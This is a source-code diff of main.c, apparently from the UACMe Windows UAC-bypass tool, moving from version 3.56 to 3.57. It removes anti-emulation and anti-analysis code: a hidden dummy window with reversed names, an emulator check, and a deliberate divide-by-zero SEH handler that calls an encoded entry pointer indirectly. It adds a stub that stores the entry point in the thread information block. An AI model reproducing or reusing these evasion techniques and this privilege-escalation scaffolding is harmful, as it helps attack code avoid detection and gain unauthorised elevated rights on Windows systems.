4
4
*
5
5
* TITLE: MAIN.C
6
6
*
7
- * VERSION: 3.56
7
+ * VERSION: 3.57
8
8
*
9
- * DATE: 17 July 2021
9
+ * DATE: 01 Nov 2021
10
10
*
11
11
* Program entry point.
12
12
*
@@ -26,33 +26,6 @@ PUACMECONTEXT g_ctx;
26
26
//Image Base Address global variable
27
27
HINSTANCE g_hInstance ;
28
28
29
- TEB_ACTIVE_FRAME_CONTEXT g_fctx = { 0 , "<??>" };
30
-
31
- /*
32
- * ucmDummyWindowProc
33
- *
34
- * Purpose:
35
- *
36
- * Part of antiemulation, does nothing.
37
- *
38
- */
39
- LRESULT CALLBACK ucmDummyWindowProc (
40
- HWND hwnd ,
41
- UINT uMsg ,
42
- WPARAM wParam ,
43
- LPARAM lParam
44
- )
45
- {
46
- switch (uMsg ) {
47
- case WM_SHOWWINDOW :
48
- SendMessage (hwnd , WM_CLOSE , 0 , 0 );
49
- break ;
50
- case WM_CLOSE :
51
- PostQuitMessage (0 );
52
- break ;
53
- }
54
- return DefWindowProc (hwnd , uMsg , wParam , lParam );
55
- }
56
29
57
30
/*
58
31
* ucmInit
@@ -77,19 +50,13 @@ NTSTATUS ucmInit(
77
50
NTSTATUS Result = STATUS_SUCCESS ;
78
51
LPWSTR optionalParameter = NULL ;
79
52
ULONG optionalParameterLength = 0 ;
80
- MSG msg1 ;
81
- WNDCLASSEX wincls ;
82
- BOOL rv = 1 ;
83
- HWND TempWindow ;
84
53
85
54
#ifndef _DEBUG
86
55
TOKEN_ELEVATION_TYPE ElevType ;
87
56
#endif
88
57
89
58
ULONG bytesIO ;
90
59
WCHAR szBuffer [MAX_PATH + 1 ];
91
- WCHAR WndClassName [] = TEXT ("reyortseD" );
92
- WCHAR WndTitleName [] = TEXT ("ikibiH" );
93
60
94
61
95
62
do {
@@ -167,49 +134,6 @@ NTSTATUS ucmInit(
167
134
optionalParameterLength = OptionalParameterLength ;
168
135
}
169
136
170
- wincls .cbSize = sizeof (WNDCLASSEX );
171
- wincls .style = CS_OWNDC ;
172
- wincls .lpfnWndProc = & ucmDummyWindowProc ;
173
- wincls .cbClsExtra = 0 ;
174
- wincls .cbWndExtra = 0 ;
175
- wincls .hInstance = g_hInstance ;
176
- wincls .hIcon = NULL ;
177
- wincls .hCursor = (HCURSOR )LoadImage (NULL , MAKEINTRESOURCE (OCR_NORMAL ), IMAGE_CURSOR , 0 , 0 , LR_SHARED );
178
- wincls .hbrBackground = NULL ;
179
- wincls .lpszMenuName = NULL ;
180
- wincls .lpszClassName = WndClassName ;
181
- wincls .hIconSm = 0 ;
182
-
183
- RegisterClassEx (& wincls );
184
-
185
- TempWindow = CreateWindowEx (WS_EX_TOPMOST ,
186
- WndClassName ,
187
- WndTitleName ,
188
- WS_VISIBLE | WS_POPUP | WS_CLIPCHILDREN | WS_CLIPSIBLINGS ,
189
- 0 , 0 ,
190
- 32 ,
191
- 32 ,
192
- NULL , NULL ,
193
- g_hInstance ,
194
- NULL );
195
-
196
- if (TempWindow )
197
- return STATUS_FATAL_APP_EXIT ;
198
-
199
- do {
200
- rv = GetMessage (& msg1 , NULL , 0 , 0 );
201
-
202
- if (rv == -1 ) {
203
- return STATUS_FATAL_APP_EXIT ;
204
- }
205
-
206
- TranslateMessage (& msg1 );
207
- DispatchMessage (& msg1 );
208
-
209
- } while (rv != 0 );
210
-
211
- UnregisterClass (WndClassName , g_hInstance );
212
-
213
137
g_ctx = (PUACMECONTEXT )supCreateUacmeContext (Method ,
214
138
optionalParameter ,
215
139
optionalParameterLength ,
@@ -282,45 +206,6 @@ NTSTATUS WINAPI ucmMain(
282
206
return MethodsManagerCall (method );
283
207
}
284
208
285
- /*
286
- * ucmSehHandler
287
- *
288
- * Purpose:
289
- *
290
- * Program entry point seh handler, indirect control passing.
291
- *
292
- */
293
- INT ucmSehHandler (
294
- _In_ UINT ExceptionCode ,
295
- _In_ EXCEPTION_POINTERS * ExceptionInfo
296
- )
297
- {
298
- UACME_THREAD_CONTEXT * uctx ;
299
-
300
- UNREFERENCED_PARAMETER (ExceptionInfo );
301
-
302
- if (ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO ) {
303
- uctx = (UACME_THREAD_CONTEXT * )RtlGetFrame ();
304
- while ((uctx != NULL ) && (uctx -> Frame .Context != & g_fctx )) {
305
- uctx = (UACME_THREAD_CONTEXT * )uctx -> Frame .Previous ;
306
- }
307
- if (uctx ) {
308
- if (uctx -> ucmMain ) {
309
- uctx -> ucmMain = (pfnEntryPoint )supDecodePointer (uctx -> ucmMain );
310
-
311
- uctx -> ReturnedResult = uctx -> ucmMain (UacMethodInvalid ,
312
- NULL ,
313
- 0 ,
314
- FALSE);
315
- }
316
- }
317
- return EXCEPTION_EXECUTE_HANDLER ;
318
- }
319
- return EXCEPTION_CONTINUE_SEARCH ;
320
- }
321
-
322
- #ifndef KUMA_STUB
323
-
324
209
/*
325
210
* main
326
211
*
@@ -332,30 +217,10 @@ INT ucmSehHandler(
332
217
#pragma comment(linker, "/ENTRY:main")
333
218
VOID __cdecl main ()
334
219
{
335
- int v = 1 , d = 0 ;
336
- UACME_THREAD_CONTEXT uctx ;
337
-
338
- RtlSecureZeroMemory (& uctx , sizeof (uctx ));
339
-
340
- if (wdIsEmulatorPresent () == STATUS_NOT_SUPPORTED ) {
341
-
342
- uctx .Frame .Context = & g_fctx ;
343
- uctx .ucmMain = (pfnEntryPoint )supEncodePointer (ucmMain );
344
- RtlPushFrame ((PTEB_ACTIVE_FRAME )& uctx );
345
-
346
- __try {
347
- v = (int )USER_SHARED_DATA -> NtProductType ;
348
- d = (int )USER_SHARED_DATA -> AlternativeArchitecture ;
349
- v = (int )(v / d );
350
- }
351
- __except (ucmSehHandler (GetExceptionCode (), GetExceptionInformation ())) {
352
- v = 1 ;
353
- }
354
-
355
- RtlPopFrame ((PTEB_ACTIVE_FRAME )& uctx );
356
- }
357
- if (v > 0 )
358
- ExitProcess (uctx .ReturnedResult );
359
- }
360
-
220
+ #ifdef _WIN64
221
+ __writegsqword (FIELD_OFFSET (NT_TIB , ArbitraryUserPointer ), (DWORD_PTR )ucmMain );
222
+ #else
223
+ __writefsdword (FIELD_OFFSET (NT_TIB , ArbitraryUserPointer ), (DWORD_PTR )ucmMain );
361
224
#endif
225
+ ExitProcess (StubInit ());
226
+ }
0 commit comments